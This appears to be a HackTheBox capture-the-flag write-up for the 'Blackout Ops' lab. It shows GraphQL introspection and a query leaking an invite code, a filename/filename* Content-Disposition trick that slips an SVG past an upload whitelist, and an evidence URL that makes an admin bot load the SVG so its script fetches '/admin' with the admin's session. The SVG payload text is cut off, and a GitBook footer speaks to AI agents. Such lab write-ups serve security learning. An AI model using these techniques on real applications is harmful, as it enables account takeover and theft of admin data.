> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-blackout-ops.md).
# HTB - Blackout Ops
Download the zip file and extract it using the password given.
Browsing to the given ip address reveals a login page and a registration link. As a initial step looked for sql injection on the login page but the application is not vulnerable to it.
We need to register an email with blackouts.htb as the domain.
once registered, use the credentials to login to the application.
Successful login makes a request to GraphQL endpoint.
The dashboard has a submission of a evidence and an incidence report.
submitting a incident report, throws an error as need the account to be verified.
introspection first to confirm the actual accepted args.
```powershell
{"query":"{ __schema { mutationType { fields { name args { name type { name kind ofType { name } } } } } } }"}
```
```powershell
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Date: Sat, 08 Aug 2026 10:26:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1103
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
cache-control: no-store
ETag: W/"44f-SakPhB/iedRrsC9qDIwHAEcRf+w"
{"data":{"__schema":{"mutationType":{"fields":[{"name":"login","args":[{"name":"email","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"password","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"submitIncidentReport","args":[{"name":"title","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"details","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"evidenceUrl","type":{"name":"String","kind":"SCALAR","ofType":null}}]},{"name":"updateIncidentReportStatus","args":[{"name":"id","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"ID"}}},{"name":"status","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"register","args":[{"name":"email","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"password","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"verifyAccount","args":[{"name":"inviteCode","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"regenerateInviteCode","args":[]}]}}}}
```
To verify the account, a verified code is being sent.
The code is sent to email which we dont have access to.
### Leaking the invite code via GraphQL
The app exposes a GraphQL endpoint at `/graphql`
`inviteCode` isn't exposed anywhere in the UI, but nothing stops us from querying it directly through the authenticated `me` query:
```powershell
{"query":"{ me { id email role verified inviteCode } incidentReports { id title details evidenceUrl status submittedAt } uploads { id filename size uploadDate uploadedBy } systemStatus dataStorage powerLevel }"}
```
user is verified now. also there is not verify option now appears on the dashboard
### Bypassing the upload extension whitelist
Two routes matter for the next stage:
* **`submitIncidentReport`** (GraphQL mutation) — validates that `evidenceUrl` starts with `http://` or `https://`, inserts the report, and then — critically — asynchronously spins up a Puppeteer bot that logs in as an admin and visits our `evidenceUrl`.
* **`POST /upload`** — parses the multipart body with `@fastify/busboy`, and (per the server behind it) only allow-lists `.jpg`, `.jpeg`, and `.png` based on the filename in the `Content-Disposition` header. There's no server-side validation of the actual file *contents*.
whenever a **verified** user submits an incident report with an `evidenceUrl`, the server spins up a bot that:
1. Logs into the actual application **as the admin** (using real admin credentials pulled straight from the DB),
2. Then navigates to **your `evidenceUrl`** in that authenticated browser session.
* **File upload endpoint** (`POST /upload` in `routes/pages.js`)
* Uses Busboy and OpenResty to parse multipart files.
* Naïvely trusts the file extension in the `Content-Disposition` header to whitelist only `.jpg`, `.jpeg`, and `.png`.
After uploading, the filename is recorded in the database, but there's no additional server‑side validation of the file contents.
Busboy/OpenResty multipart parsing has a well-known quirk: if you supply **both** a plain `filename` and an extended `filename*` parameter in the same `Content-Disposition` header, different parsers can disagree about which one is authoritative. The extension-check code reads `filename` (sees `.png`, passes), while the code that actually names the saved file on disk uses `filename*`:
```
Content-Disposition: form-data; name="file";
filename="image.png";
filename*=UTF-8''exploit.svg
```
Result: the check sees a harmless `.png`, but the file is written to disk as `exploit.svg`.
### The SVG payload
SVG files can carry inline `
```
Upload it with the `filename` / `filename*` trick from Step 2, then submit an incident report:
```bash
mutation {
submitIncidentReport(
title: "test"
details: "test"
evidenceUrl: "http://:1337/files/exploit.svg"
) {
id
title
details
evidenceUrl
submittedAt
}
}
```
The mutation resolver fires off a Puppeteer bot (`bot.visitReport`) that logs in with admin credentials and then `page.goto()`s our `evidenceUrl`.
`bot.js` performs the login step here:
```
await page.goto("http://127.0.0.1:1337/", { waitUntil: "networkidle0" });
// ...types credentials, clicks submit...
```
Express sessions are cookie-based and, by default, cookies are scoped to the exact host they were set on — `localhost` and `127.0.0.1` are *different hosts* as far as the cookie jar is concerned, even though they point at the same server. If `evidenceUrl` uses `localhost`, the SVG's `fetch('/admin', { credentials: 'include' })` runs on the `localhost` origin, which has **no** session cookie — so the request comes back unauthenticated and you just get the same login page reflected back at you (confirmed by decoding the exfiltrated payload and finding it was byte-identical to the anonymous `/` login page).
### Exploitation putting all together
```powershell
POST /graphql
Content-Type: application/json
{
"query": "mutation { register(email: \"attacker@blackouts.htb\", password: \"password123\") { id email role inviteCode verified } }"
}
```
account verified
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-blackout-ops.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
